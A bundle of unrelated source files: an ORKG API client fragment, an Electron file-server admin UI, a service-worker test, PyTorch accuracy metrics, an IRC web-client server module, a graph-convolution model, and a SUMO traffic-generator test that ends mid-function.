else:
self.client.backend._append_slash = True
response = self.client.backend.statements.POST(json=params)
return OrkgResponse(response)
@query_params("subject_id", "predicate_id", "object_id")
def update(self, id, params=None):
if len(params) == 0:
raise ValueError("at least one parameter must be provided")
else:
if not self.exists(id):
raise ValueError("the provided id is not in the graph")
self.client.backend._append_slash = True
response = self.client.backend.statements(id).PUT(json=params)
return OrkgResponse(response)
def exists(self, id):
return self.by_id(id)[0] == 200
|
const { remote, ipcRenderer } = require('electron')
document.addEventListener("DOMContentLoaded", ()=> {
document.getElementById('minimize-btn').addEventListener('click', () => {
remote.getCurrentWindow().minimize()
})
document.getElementById('max-rest-btn').addEventListener('click', () => {
const currentWindow = remote.getCurrentWindow()
if(currentWindow.isMaximized()) {
currentWindow.unmaximize()
document.getElementById('max-rest-btn').innerHTML = "🗖"
} else {
currentWindow.maximize()
document.getElementById('max-rest-btn').innerHTML = "🗗"
}
})
document.getElementById('close-btn').addEventListener('click', () => {
remote.app.quit()
})
document.getElementById('toggle-server-btn').addEventListener('click', () => {
ipcRenderer.send('toggle-server')
})
ipcRenderer.on('server-state', (_, state, ip, port) => {
if (state === 'on') {
document.getElementById('status-text').innerText = "ONLINE"
document.getElementById('status-dot-1').style.color = "#17CC60"
document.getElementById('status-dot-1').setAttribute("title", "Online")
document.getElementById('status-dot-2').style.color = "#17CC60"
document.getElementById('toggle-server-btn').innerText = "Stop Server"
document.getElementById('toggle-server-btn').classList.remove("btn-dark")
document.getElementById('toggle-server-btn').classList.add("btn-success")
document.getElementById('ip-placeholder').innerText = ip
document.getElementById('port-placeholder').innerText = port
document.getElementById("qr-code").innerHTML = ""
new QRCode(document.getElementById("qr-code"), {
text: `${ip}:${port}`,
width: 128,
height: 128,
colorDark : "#000000",
colorLight : "#ffffff",
correctLevel : QRCode.CorrectLevel.H
});
document.getElementById('online-shower').style.display = "block"
} else {
document.getElementById('status-text').innerText = "OFFLINE"
document.getElementById('status-dot-1').style.color = "#bbb"
document.getElementById('status-dot-1').setAttribute("title", "Offline")
document.getElementById('status-dot-2').style.color = "#bbb"
document.getElementById('toggle-server-btn').innerText = "Start Server"
document.getElementById('toggle-server-btn').classList.remove("btn-success")
document.getElementById('toggle-server-btn').classList.add("btn-dark")
document.getElementById('online-shower').style.display = "none"
}
})
document.getElementById('hamburger-ico').addEventListener('click', (_) => {
ipcRenderer.send('display-app-menu', {
x: document.getElementById('hamburger-ico').getBoundingClientRect().left,
y: document.getElementById('hamburger-ico').getBoundingClientRect().bottom
})
})
ipcRenderer.on("menu-click", (_, event) => {
if (event === "toggle-server") {
ipcRenderer.send("toggle-server")
} else {
var elements = document.getElementsByClassName('all-sections')
for(var i=0; i<elements.length; i++) {
elements[i].style.display='none'
}
document.getElementById("username-perms-show-container").style.display = "none"
document.getElementById("edit-pw-of").style.display = "none"
document.getElementById("del-user").style.display = "none"
document.getElementById(event).style.display = 'block'
ipcRenderer.send("user:listUpdate")
}
})
let imageb64
function readImg(e) {
if (this.files && this.files[0]) {
var FR= new FileReader();
FR.addEventListener("load", (e) => {
imageb64 = e.target.result;
});
FR.readAsDataURL(this.files[0]);
}
}
document.getElementById("picture-add").addEventListener("change", readImg);
document.getElementById('add-btn-submit').addEventListener('click', () => {
var uname = document.getElementById('username-add').value
var rname = document.getElementById('realname-add').value
var pword = document.getElementById('password-add').value
if (uname && rname && pword && imageb64) {
var new_user = {
real_name: rname,
user_name: uname,
plaintext_password: pword,
picture_base64: imageb64
}
ipcRenderer.send("user:add", new_user)
document.getElementById('username-add').value = ""
document.getElementById('realname-add').value = ""
document.getElementById('password-add').value = ""
document.getElementById("picture-add").value = document.getElementById("picture-add").defaultValue
imageb64 = null
}
})
function pop_toast(msg, bg) {
document.getElementById('toast').innerText = msg
document.getElementById('toast').style.display = "block"
document.getElementById('toast').classList.add("show-toast")
var x = document.getElementById('toast').classList
for (var i=0; i<x.length; i++) {
if (x[i].match(/bg-/g) !== null) {
x.remove(x[i])
}
}
document.getElementById('toast').classList.add(bg)
setTimeout(()=>{
document.getElementById('toast').classList.remove("show-toast")
document.getElementById('toast').style.display = "none"
document.getElementById('toast').innerText = ""
} , 3000)
}
ipcRenderer.on("toast-trig", (_, msg, bg) => {
pop_toast(msg, `bg-${bg}`)
})
ipcRenderer.on("notif-trig", (_, msg) => {
document.getElementById('notifs').innerText = msg
})
document.getElementById("username-choose-uperms").addEventListener("change", ()=>{
var e = document.getElementById("username-choose-uperms")
let strSelected = e.options[e.selectedIndex].text
if (strSelected !== "Select One" || e.selectedIndex !== 0) {
ipcRenderer.send("displayPerms:user", strSelected)
}
})
function updateuserlist(id, rows) {
var u1 = document.getElementById(id)
u1.innerHTML = ""
var opt = document.createElement("option")
opt.selected = false
opt.disabled = false
opt.innerText = "Select One"
u1.appendChild(opt)
for (var i=0; i<rows.length; i++) {
var opt = document.createElement("option")
opt.innerText = rows[i].user_name
u1.appendChild(opt)
}
}
ipcRenderer.on("listupdate:user", (_, rows) => {
updateuserlist("username-choose-uperms", rows)
updateuserlist("username-choose-editpw", rows)
updateuserlist("username-choose-del", rows)
})
var unallFolders = []
ipcRenderer.on("user:displayPerms", (_, rows, uname) => {
unallFolders = []
data = rows[0]
document.getElementById("uname-chosen-pms").innerText = uname
if (data.can_download === 1) {
document.getElementById("down-yes-pms").click()
} else {
document.getElementById("down-no-pms").click()
}
if (data.can_rename === 1) {
document.getElementById("rnm-yes-pms").click()
} else {
document.getElementById("rnm-no-pms").click()
}
if (data.can_delete === 1) {
document.getElementById("del-yes-pms").click()
} else {
document.getElementById("del-no-pms").click()
}
unallFolders = JSON.parse(data.folders_unallowed)
updateUnallowedDirs()
document.getElementById("username-perms-show-container").style.display = "block"
})
function updateUnallowedDirs() {
deleteUnallowedDirs()
for (var i=0; i<unallFolders.length; i++) {
addUnallowedDirectory(unallFolders[i])
}
}
function addUnallowedDirectory(dirname) {
let d1 = document.createElement("div")
d1.classList.add("col-sm-10")
d1.classList.add("text-break")
d1.innerText = dirname
let d2 = document.createElement("div")
d2.classList.add("col-sm-2")
d2.classList.add("close-icon")
d2.classList.add("text-center")
d2.innerText = "✖"
d2.addEventListener("click", ()=> {
var index = unallFolders.indexOf(dirname)
if (index > -1) {
unallFolders.splice(index, 1)
}
updateUnallowedDirs()
})
let d3 = document.createElement("div")
d3.classList.add("row")
d3.appendChild(d1)
d3.appendChild(d2)
let d4 = document.createElement("div")
d4.classList.add("col-sm-12")
d4.classList.add("border")
d4.classList.add("rounded")
d4.appendChild(d3)
let d5 = document.createElement("div")
d5.classList.add("row")
d5.classList.add("mt-1")
d5.appendChild(d4)
let d6 = document.getElementById("add-dir-cont")
d6.parentNode.insertBefore(d5, d6)
}
function deleteUnallowedDirs() {
document.getElementById("add-dir-cont").parentNode.innerHTML = `
<div class="row mb-2">
<div class="col-sm-12"> <u> Unallowed Directories </u> </div>
</div>
<div class="row mt-3" id="add-dir-cont">
<div class="col-sm-12">
<button class="btn btn-success" id="dir-selector">Add Directory</button>
</div>
</div>`
document.getElementById("dir-selector").addEventListener("click", ()=> {
ipcRenderer.send("open:folder")
})
}
document.getElementById("dir-selector").addEventListener("click", ()=> {
ipcRenderer.send("open:folder")
})
ipcRenderer.on("folder:open", (_, path) => {
if (path.length !== 0) {
if (unallFolders.indexOf(path[0]) == -1) {
unallFolders.push(path[0])
updateUnallowedDirs()
} else {
pop_toast("Directory already exists", "bg-warning")
}
}
})
document.getElementById("update-perms-final-btn").addEventListener("click", ()=>{
let data = {}
let d = document.getElementsByName("down-pms")
for (var i=0; i<d.length; i++) {
if (d[i].checked) {
data.can_download = (d[i].value === "Yes") ? 1 : 0
}
}
d = document.getElementsByName("rnm-pms")
for (var i=0; i<d.length; i++) {
if (d[i].checked) {
data.can_rename = (d[i].value === "Yes") ? 1 : 0
}
}
d = document.getElementsByName("del-pms")
for (var i=0; i<d.length; i++) {
if (d[i].checked) {
data.can_delete = (d[i].value === "Yes") ? 1 : 0
}
}
data.folders_unallowed = unallFolders
data.user_name = document.getElementById("uname-chosen-pms").innerText
ipcRenderer.send("perms:updated", data)
})
document.getElementById("username-choose-editpw").addEventListener("change", ()=>{
document.getElementById("edit-pw-of").style.display = "block"
document.getElementById("edited-pw-btn").addEventListener("click", ()=> {
var e = document.getElementById("username-choose-editpw")
let uname = e.options[e.selectedIndex].text
let ps = document.getElementById("edited-pw").value
if (ps && uname !== "Select One") {
ipcRenderer.send("user:changepw", uname, ps)
} else if (uname === "Select One") {
pop_toast("First select an user", "bg-info")
}
})
})
document.getElementById("username-choose-del").addEventListener("change", () => {
document.getElementById("del-user").style.display = "block"
document.getElementById("del-user-btn").addEventListener("click", ()=> {
var e = document.getElementById("username-choose-del")
let uname = e.options[e.selectedIndex].text
if (uname !== "Select One") {
ipcRenderer.send("user:del", uname)
} else if (uname === "Select One") {
pop_toast("First select an user", "bg-info")
}
})
})
ipcRenderer.on("user:delDone", ()=> {
ipcRenderer.send("user:listUpdate")
})
})
|
'use strict'
const { expect } = require('chai')
const { connect, destroy } = require('../index')
const nock = require('nock')
let fake, sw
describe('sw-test-mock-special', () => {
before(() => {
nock.disableNetConnect()
nock.enableNetConnect('localhost')
})
beforeEach((done) => {
fake = nock('http://localhost:3333', { encodedQueryParams: true })
connect('http://localhost:3333').then((serviceWorker) => {
sw = serviceWorker
console.log('ID before', sw.id)
done()
})
})
afterEach(() => {
nock.cleanAll()
destroy()
})
after(() => {
nock.enableNetConnect()
})
describe('ready', () => {
it('should execute install/activate lifecyle for multiple connected pages', () => {
return connect().then((sw2) => {
console.log('ID in test', sw.id, sw2.id)
return sw
.register('test/fixtures/sw.js')
.then((registration) => {
console.log('ID after reg', sw.id)
return sw.ready
})
.then((registration) => {
console.log('ID in expect', sw.id, sw2.id)
expect(sw._sw.state).to.equal('activated')
expect(sw2._sw.state).to.equal('activated')
expect(sw.scope.foo).to.equal('foo')
expect(sw2.scope.bar).to.equal('bar')
expect(sw.scope.clients._clients.length).to.equal(2)
})
})
})
})
})
|
"""
Various accuracy metrics:
* :func:`accuracy`
* :func:`multi_label_accuracy`
"""
from typing import Optional, Sequence, Union
import numpy as np
import torch
from catalyst.utils.metrics.functional import preprocess_multi_label_metrics
from catalyst.utils.torch import get_activation_fn
def accuracy(
outputs: torch.Tensor,
targets: torch.Tensor,
topk: Sequence[int] = (1,),
activation: Optional[str] = None,
) -> Sequence[torch.Tensor]:
"""
Computes multi-class accuracy@topk for the specified values of `topk`.
Args:
outputs: model outputs, logits
with shape [bs; num_classes]
targets: ground truth, labels
with shape [bs; 1]
activation: activation to use for model output
topk: `topk` for accuracy@topk computing
Returns:
list with computed accuracy@topk
"""
activation_fn = get_activation_fn(activation)
outputs = activation_fn(outputs)
max_k = max(topk)
batch_size = targets.size(0)
if len(outputs.shape) == 1 or outputs.shape[1] == 1:
# binary accuracy
pred = outputs.t()
else:
# multi-class accuracy
_, pred = outputs.topk(max_k, 1, True, True) # noqa: WPS425
pred = pred.t()
correct = pred.eq(targets.long().view(1, -1).expand_as(pred))
output = []
for k in topk:
correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)
output.append(correct_k.mul_(1.0 / batch_size))
return output
def multi_label_accuracy(
outputs: torch.Tensor,
targets: torch.Tensor,
threshold: Union[float, torch.Tensor],
activation: Optional[str] = None,
) -> torch.Tensor:
"""
Computes multi-label accuracy for the specified activation and threshold.
Args:
outputs: NxK tensor that for each of the N examples
indicates the probability of the example belonging to each of
the K classes, according to the model.
targets: binary NxK tensort that encodes which of the K
classes are associated with the N-th input
(eg: a row [0, 1, 0, 1] indicates that the example is
associated with classes 2 and 4)
threshold: threshold for for model output
activation: activation to use for model output
Returns:
computed multi-label accuracy
"""
outputs, targets, _ = preprocess_multi_label_metrics(
outputs=outputs, targets=targets
)
activation_fn = get_activation_fn(activation)
outputs = activation_fn(outputs)
outputs = (outputs > threshold).long()
output = (targets.long() == outputs.long()).sum().float() / np.prod(
targets.shape
)
return output
__all__ = ["accuracy", "multi_label_accuracy"]
|
// Our dependency section of the connection module
// -----
// Basic library dependencies
var _ = require("underscore");
var irc = require("irc");
var uuid = require("node-uuid");
var bcrypt = require('bcrypt-nodejs');
var argv = require("yargs").argv;
// Module for fetching plugins - the server can call this
// when we want to fetch plugins that haven't been downloaded yet
var get_plugin = require("./plugins").get_plugin;
var client_settings = require("../settings/client");
var server_settings = require("../settings/server");
// Our client side IRC handling code and models
var handle_irc = require("../src/js/handle_irc");
// Database models
var db = require("./models")();
var User = db.models.User,
Connection = db.models.Connection,
Session = db.models.Session,
Settings = db.models.Settings,
Message = db.models.Message;
var connections = {};
var loggers = {};
var debug;
// Method for storing messages in database
// will check to see if the user is assigned to
// a channel to log the message
var logMessage = function(server, channel, attributes, username) {
// We do not need to log status messages
if(channel.replace("#", "") === "status") {
return;
}
loggers[server] = loggers[server] || {};
var target = loggers[server][channel];
// If it is a private message
if(channel.indexOf("#") === -1) {
var targetIs = [channel, attributes.from].sort().join("#");
target = loggers[server][targetIs];
channel = targetIs;
}
if (typeof target === "undefined" || !(_.contains(connections, target))) {
target = username;
}
var save_obj = _.extend(attributes, {server: server, to: channel});
save_obj.attributes = JSON.stringify(_.omit(attributes, "message", "from", "server", "to", "type", "text"));
if (target === username) {
Message.create(save_obj);
}
};
var attach_listener = function(client, socket, backbone_models) {
// Remove any extra listeners
// we only want to keep the listener node-irc attaches
// to the raw event
if (typeof client._events.raw === "object") {
client._events.raw = client._events.raw[0];
}
client.on("raw", function(message) {
if (typeof debug !== 'undefined') {
debug.emit("raw", message);
}
message = _.extend(message, {client_server: client.opt.server});
if(socket.irc_conn) {
handle_irc(message, socket.irc_conn, backbone_models);
}
socket.emit("raw", message);
});
}
// Method to restore a connection to a user
// takes a user object and re-attaches an active connection to it
var restore_connection = function(user, io, req) {
var backbone_models = _.clone(require("../src/js/models/models"));
// See if our user has an active connection
var has_connection = _.has(connections, user.username);
// Find the socket associated with the reqeust
var socket = _.find(io.sockets.sockets, function(sock) {
return sock.id === req.body.socketid;
});
if (typeof backbone_models.irc === "undefined") {
backbone_models.irc = socket.irc_conn = new backbone_models.models.App();
backbone_models.username = user.username;
backbone_models.logMessage = logMessage;
}
if (typeof socket !== "undefined" && has_connection) {
socket.clients = connections[user.username].clients;
if(typeof connections[user.username].irc_conn !== "undefined") {
// Set our irc connection to existing connection
socket.irc_conn = connections[user.username].irc_conn;
} else {
// Store our new irc connection
connections[user.username].irc_conn = backbone_models.irc;
}
var user_id = user.user_id;
Connection.findOne({where: {user_id: user_id}}, function(err, connection) {
if (connection && has_connection && typeof socket.irc_conn !== 'undefined') {
socket.emit("restore_connection", socket.irc_conn.toJSON());
}
// Reattach our raw emitter
_.each(socket.clients, function(client) {
if (typeof client._events["raw"] || client._events["raw"].length === 0) {
attach_listener(client, socket, backbone_models);
}
});
});
} else {
connections[user.username] = {clients: socket.clients, irc_conn: socket.irc_conn};
}
socket.logged_in = true;
socket.user = user;
}
var connection = function(io, app) {
app.get("/", function(req, res) {
if (req.signedCookies.sessionid) {
User.findOne({where: {session_id: req.signedCookies.sessionid}}, function(err, user) {
if (user !== null) {
Settings.findOne({where: {user_id: user.id}}, function(err, settings) {
var output_settings;
if(settings) {
output_settings = _.extend({}, JSON.parse(settings.settings));
} else {
output_settings = client_settings;
}
res.render("index.ejs", {user: user, default_servers: _.has(server_settings, "default_servers"), settings: JSON.stringify(output_settings)});
})
} else {
res.render("index.ejs", {user: false, default_servers: _.has(server_settings, "default_servers"), settings: JSON.stringify(client_settings)});
}
});
} else {
res.render("index.ejs", {user: false, default_servers: _.has(server_settings, "default_servers"), settings: JSON.stringify(client_settings)});
}
});
app.post('/restore_connection/', function(req, resp) {
var socket = _.find(io.sockets.sockets, function(sock) {
return sock.id === req.body.socketid;
});
if (req.signedCookies.sessionid) {
User.findOne({where: {session_id: req.signedCookies.sessionid}}, function(err, user) {
if (user) {
restore_connection(user, io, req);
}
});
}
});
app.post('/login/', function(req, resp) {
var result = {};
// find the user
User.findOne({where: {username: req.body.username}}, function(err, user) {
// does the user exist?
if (user) {
// check password
bcrypt.compare(req.body.password, user.password, function(err, res) {
// if the password matched...
if(res === true){
// See if our user has an active connection
var has_connection = _.has(connections, user.username);
var sessionid = uuid.v1() + uuid.v4();
user.session_id = sessionid;
user.save(function() {
restore_connection(user, io, req);
result = {status: "success", username: req.body.username, has_connection: has_connection};
resp.cookie("sessionid", sessionid, {maxAge: 9000000, expires: new Date(Date.now()+9000000), httpOnly: true, signed: true});
resp.send(result);
});
} else {
result = {status: "error", error: "Wrong password"};
resp.send(result);
}
});
} else {
result = {status: "error", error: "User not found"};
resp.send(result);
}
});
});
app.post('/logout/', function(req, resp) {
var result = {success: true};
if (req.signedCookies.sessionid) {
User.findOne({where: {session_id: req.signedCookies.sessionid}}, function(err, user) {
if(user) {
user.session_id = null;
user.save()
}
});
}
resp.clearCookie("sessionid");
resp.send(result);
});
// Setup our debug endpoint
if (typeof argv.debug !== "undefined") {
debug = io.of('/debug');
require("./debug")(app, debug, connections);
}
io.sockets.on("connection", function (socket) {
socket.clients = {};
var add_client = function(data) {
var backbone_models = require("../src/js/models/models");
var connect_data = _.extend({}, {
userName: "subway",
channels: [],
debug: true,
retryCount: 1,
autoRejoin: false
}, data);
data = _.pick(data, 'nick', 'server')
var client = new irc.Client(data.server, data.nick, connect_data);
client.on("abort", function() {
// Remove connection from our local models
if (socket.irc_conn) {
socket.irc_conn.get("connections").remove(data.server);
}
delete client;
socket.emit("connection_error", data);
socket.emit("connection_removed", {connection: data.server});
// Remove connection from local models
if (socket.irc_conn) {
socket.irc_conn.get("connections").remove(data.server);
}
});
socket.clients[data.server] = client;
if(socket.irc_conn) {
backbone_models.username = socket.user.username;
backbone_models.logMessage = logMessage;
backbone_models.irc = socket.irc_conn;
}
attach_listener(client, socket, backbone_models);
}
//handle case for default servers
if (server_settings.default_servers) {
// iterate over each of our default servers
// connecting to them
_.each(server_settings.default_servers, function(server_data) {
add_client(server_data);
})
}
socket.on("connectirc", function(data) {
add_client(data);
});
socket.on("remove_connection", function(data) {
socket.clients[data.connection].disconnect();
delete socket.clients[data.connection];
socket.emit("connection_removed", {connection: data.connection});
// Remove connection from our local models
if (socket.irc_conn) {
socket.irc_conn.get("connections").remove(data.connection);
}
});
socket.on("disconnect", function(data) {
if(socket.logged_in) {
Connection.findOne({where: {user_id: socket.user.user_id}}, function(err, connection) {
if(!connection) {
connection = new Connection({
user_id: socket.user.user_id,
connection_data: JSON.stringify(socket.irc_conn)
});
} else {
connection.connection_data = JSON.stringify(socket.irc_conn);
}
connection.save();
});
}
});
// when the user closes the browser window
// we iterate through their active connections and close
// them
socket.on("disconnect", function() {
_.each(socket.clients, function(val, key, list) {
// Clean up server conns
if(!socket.logged_in) {
val.disconnect();
delete list[key];
}
});
});
/* auth/setup commands */
// user registration
socket.on('register', function(data) {
// make sure user doesn't already exist
User.findOne({where: { username: data.username }}, function (err, fUser) {
if (!err && !fUser) {
// hash the password
bcrypt.genSalt(10, function(err, salt) {
bcrypt.hash(data.password, salt, null, function(err, hash) {
// create the new user
User.create({
username: data.username,
password: hash
}, function (err, user) {
socket.emit('register_success', {username: data.username});
});
});
});
} else {
socket.emit('register_error', {message: 'The username "' + data.username + '" is taken, please try another username.'});
}
});
});
socket.on("say", function(data) {
var client = socket.clients[data.server];
if (typeof socket.irc_conn !== "undefined") {
var server = socket.irc_conn.get("connections").get(data.server);
server.addMessage(data.target, {from: server.get("nick"), text: data.text, type: "PRIVMSG"});
}
client.say(data.target, data.text);
});
socket.on("command", function(data) {
var client = socket.clients[data.server];
var args;
if (data.command) {
args = data.command.split(" ");
} else {
args = [""];
}
// If the arguments don't include the channel we add it
var includeChannel = function(args) {
if(args.length > 1) {
if (args[1].indexOf("#") !== 0) {
args.splice(1,0,data.target);
}
} else if (args.length === 1) {
args.splice(1,0,data.target);
}
return args;
};
switch (args[0].toLowerCase()) {
case "join":
client.join(args[1]);
break;
case "leave":
client.part(data.target, _.rest(args).join(" "));
break;
case "me":
// Send a sentence
client.action(data.target, args.slice(1).join(" "));
break;
case "msg":
if (typeof socket.irc_conn !== "undefined") {
var target_server = socket.irc_conn.get("connections")
.get(client.opt.server);
target_server.addChannel(args[1]);
target_server.addMessage(args[1], {from: target_server.get("nick"), text: data.command.split(" ").splice(2).join(" ")});
}
client.say(args[1], args.slice(2).join(" "));
break;
case "part":
case "kick":
case "topic":
args = includeChannel(args);
client.send.apply(client, args);
break;
case "admin":
client.send.apply(client, args);
break;
default:
client.send.apply(client, args);
break;
}
});
socket.on("raw", function(data) {
var client = socket.clients[data.server];
client.send.apply(this, data.args);
});
socket.on("add_plugin", function(data) {
get_plugin(data.plugin, function() {
socket.emit("plugin_added", {plugin: data.plugin});
});
});
socket.on("set_active", function(data) {
if(typeof socket.irc_conn !== "undefined") {
socket.irc_conn.set(data);
}
});
// Clear viewed notifications from channel
socket.on("clearnotifications", function(data) {
if(typeof socket.irc_conn !== "undefined") {
socket.irc_conn.get("connections")
.get(data.server.name).get("channels")
.get(data.channel).clearNotifications();
}
});
socket.on("closeChannel", function(data) {
socket.irc_conn.get("connections")
.get(data.server).get("channels")
.remove(data.target);
});
socket.on("loadHistory", function(data) {
if(socket.user) {
Message.all({where: {timestamp: {lte: data.timestamp}, server: data.server, to: data.channel}, order: 'id DESC', limit: 25}, function(er, messages) {
socket.emit("history", {messages: messages.slice().reverse(), server: data.server, channel: data.channel});
})
}
});
socket.on("saveSettings", function(data) {
if(socket.user) {
Settings.findOne({where: {user_id: socket.user.id}}, function(err, settings) {
var new_settings = {user_id: socket.user.id, settings: JSON.stringify(data)};
if(settings) {
settings.settings = new_settings.settings;
settings.save(function(err) {
if (err) {
console.log(err);
}
});
} else {
Settings.create(new_settings);
}
});
}
});
});
};
module.exports = connection;
|
module.exports = require('./json-mapper');
|
import torch.nn as nn
import torch
import math
import numpy as np
import torch.nn.functional as F
from torch.nn.parameter import Parameter
from lib_diago import *
class GraphConvolution_G(nn.Module):
def __init__(self, in_features, out_features, support, mode, heads, residual=False, adj=None):
super().__init__()
self.support = support
self.in_features = 2*in_features if support == 2 else in_features
self.out_features = out_features
self.residual = residual
self.mode = mode
if mode == 'FDGATII': self.spgat_layer = SpGraphAttentionLayer_v2(in_features=in_features, out_features=in_features, dropout=0.6, alpha=0.2, concat=True)
self.weight = Parameter(torch.FloatTensor(self.in_features,self.out_features))
self.reset_parameters()
def reset_parameters(self):
stdv = 1. / math.sqrt(self.out_features)
self.weight.data.uniform_(-stdv, stdv)
def forward(self, input, adj , h0 , lamda, alpha, l):
theta = math.log(lamda/l+1)
if self.mode == 'GCNII':
hi = torch.sparse.mm(adj, input)
else:
hi = self.spgat_layer(input, adj)
if self.support == 0:
output = hi
if self.support == 1:
support = (1-alpha)*hi+alpha*h0
r = support
output = theta*torch.mm(support, self.weight)+(1-theta)*r
if self.support == 2:
support = torch.cat([hi,h0],1)
r = (1-alpha)*hi+alpha*h0
output = theta*torch.mm(support, self.weight)+(1-theta)*r
if self.residual: output = output+input
return output
class GCNII_BASE(nn.Module):
def __init__(self, nfeat, nlayers,nhidden, nclass, dropout, lamda, alpha, support, mode, heads):
super().__init__()
self.convs = nn.ModuleList()
for _ in range(nlayers):
self.convs.append(GraphConvolution_G(nhidden, nhidden,support, mode, heads))
self.fcs = nn.ModuleList()
self.fcs.append(nn.Linear(nfeat, nhidden))
self.fcs.append(nn.Linear(nhidden, nclass))
self.params1 = list(self.convs.parameters())
self.params2 = list(self.fcs.parameters())
self.act_fn = nn.ReLU()
self.dropout = dropout
self.alpha = alpha
self.lamda = lamda
def forward(self, x, adj):
_layers = []
x = F.dropout(x, self.dropout, training=self.training)
layer_inner = self.act_fn(self.fcs[0](x))
_layers.append(layer_inner)
for i,con in enumerate(self.convs):
layer_inner = F.dropout(layer_inner, self.dropout, training=self.training)
layer_inner = self.act_fn(con(layer_inner,adj,_layers[0],self.lamda,self.alpha,i+1))
layer_inner = F.dropout(layer_inner, self.dropout, training=self.training)
layer_inner = self.fcs[-1](layer_inner)
return F.log_softmax(layer_inner, dim=1)
if __name__ == '__main__':
pass
|
# coding=utf-8
# Copyright 2020 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Lint as: python3
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import tempfile
from absl.testing import absltest
import numpy as np
import sumolib
from simulation_research.traffic import file_util
from simulation_research.traffic import random_traffic_generator
def _load_file(folder, file_name):
file_path = os.path.join(folder, file_name)
return file_util.f_abspath(file_path)
class RandomTrafficGeneratorTest(absltest.TestCase):
def setUp(self):
super(RandomTrafficGeneratorTest, self).setUp()
testdata_dir = './testdata'
self._output_dir = tempfile.mkdtemp(dir=absltest.get_default_test_tmpdir())
sumo_net_file = 'mtv_tiny.net.xml'
map_file = _load_file(testdata_dir, sumo_net_file)
self._net = sumolib.net.readNet(map_file)
traffic_generator = random_traffic_generator.RandomTrafficGenerator(
self._net)
self._random_traffic_generator = traffic_generator
# The traffic generator uses numpy to draw random samples. The numpy random
# seed is set here to make the result replicable.
np.random.seed(0)
def test_get_freeway_input_output(self):
figure_path = os.path.join(self._output_dir, 'freeway_routes.pdf')
input_output = self._random_traffic_generator.get_freeway_input_output(
figure_path=figure_path)
self.assertLen(input_output, 9)
def test_get_arterial_input_output(self):
figure_path = os.path.join(self._output_dir, 'arterial_routes.pdf')
input_output = self._random_traffic_generator.get_arterial_input_output(
figure_path=figure_path)
self.assertLen(input_output, 21)
def test_setup_shortest_routes(self):
# Test case for freeways.
input_output = self._random_traffic_generator.get_freeway_input_output()
output_file = os.path.join(self._output_dir, 'freeway_routes.xml')
routes = self._random_traffic_generator.setup_shortest_routes(
input_output,
edge_type_list=random_traffic_generator.FREEWAY_EDGE_TYPES,
routes_file=output_file,
figures_folder=self._output_dir)
self.assertLen(routes, 3)
routes_length = [routes[0]['route_length'],
routes[1]['route_length'],
routes[2]['route_length']]
routes_length.sort()
self.assertAlmostEqual(routes_length[0], 450.18)
self.assertAlmostEqual(routes_length[1], 622.57)
self.assertAlmostEqual(routes_length[2], 1051.25)
# Test case for arterial roads.
input_output = self._random_traffic_generator.get_arterial_input_output()
output_file = os.path.join(self._output_dir, 'arterial_routes.xml')
routes = self._random_traffic_generator.setup_shortest_routes(
input_output,
edge_type_list=(random_traffic_generator.FREEWAY_EDGE_TYPES +
random_traffic_generator.ARTERIAL_EDGE_TYPES),
routes_file=output_file,
figures_folder=self._output_dir)
self.assertLen(routes, 5)
routes_length = [routes[0]['route_length'],
routes[1]['route_length'],
routes[2]['route_length'],
routes[3]['route_length'],
routes[4]['route_length']]
routes_length.sort()
self.assertAlmostEqual(routes_length[0], 16.84)
self.assertAlmostEqual(routes_length[1], 269.97)
self.assertAlmostEqual(routes_length[2], 512.76)
self.assertAlmostEqual(routes_length[3], 637.8299999999999)
self.assertAlmostEqual(routes_length[4], 1051.25)
def test_generate_freeway_routes_flow(self):
"""Test for the freeway demands generation workflow.
All the unit tests have been done above, and there is no calculation in this
test. So this one just verifies nothing is block in the workflow.
"""
routes_file = os.path.join(self._output_dir, 'freeway_routes_demands.xml')
token = '<routes>\n'
file_util.append_line_to_file(routes_file, token)
token = (' <vType id="Car" accel="0.8" decel="4.5" sigma="0.5" '
'length="5" minGap="2.5" maxSpeed="38" guiShape="passenger"/>\n')
file_util.append_line_to_file(routes_file, token)
input_output = self._random_traffic_generator.get_freeway_input_output()
token = ' <!-- freeway routes -->'
file_util.append_line_to_file(routes_file, token)
freeway_routes = self._random_traffic_generator.setup_shortest_routes(
input_output,
edge_type_list=random_traffic_generator.FREEWAY_EDGE_TYPES,
routes_file=routes_file,
figures_folder=self._output_dir)
token = ' <!-- freeway demands -->'
file_util.append_line_to_file(routes_file, token)
time_step_size = 100
for time_point in range(0, 1200, time_step_size):
freeway_routes_demands = [(0, 0.3), (1, 0.3)]
self._random_traffic_generator.generate_routes_flow(
time_point, time_step_size, freeway_routes, freeway_routes_demands,
routes_file)
token = '\n</routes>'
file_util.append_line_to_file(routes_file, token)
# Test by counting number of lines in the file.
with file_util.f_open(routes_file, 'r') as f:
self.assertLen(f.readlines(), 36)
def test_generate_arterial_routes_flow(self):
"""Test for the arterial roads demand generation workflow.
All the unit tests have been done above, and there is no calculation in this
test. So this one just verifies nothing is block in the workflow.
"""
routes_file = os.path.join(self._output_dir, 'arterial_routes_demands.xml')
token = '<routes>\n'
file_util.append_line_to_file(routes_file, token)
token = (' <vType id="Car" accel="0.8" decel="4.5" sigma="0.5" '
'length="5" minGap="2.5" maxSpeed="38" guiShape="passenger"/>\n')
file_util.append_line_to_file(routes_file, token)
# Setup freeway routes.
input_output = self._random_traffic_generator.get_freeway_input_output()
token = ' <!-- freeway routes -->'
file_util.append_line_to_file(routes_file, token)
freeway_routes = self._random_traffic_generator.setup_shortest_routes(
input_output,
edge_type_list=random_traffic_generator.FREEWAY_EDGE_TYPES,
routes_file=routes_file,
figures_folder=self._output_dir)
# Setup arterial roads routes.
input_output = self._random_traffic_generator.get_arterial_input_output()
token = ' <!-- arterial routes -->'
file_util.append_line_to_file(routes_file, token)
arterial_routes = self._random_traffic_generator.setup_shortest_routes(
input_output,
edge_type_list=(random_traffic_generator.FREEWAY_EDGE_TYPES +
random_traffic_generator.ARTERIAL_EDGE_TYPES),
routes_file=routes_file,
figures_folder=self._output_dir)
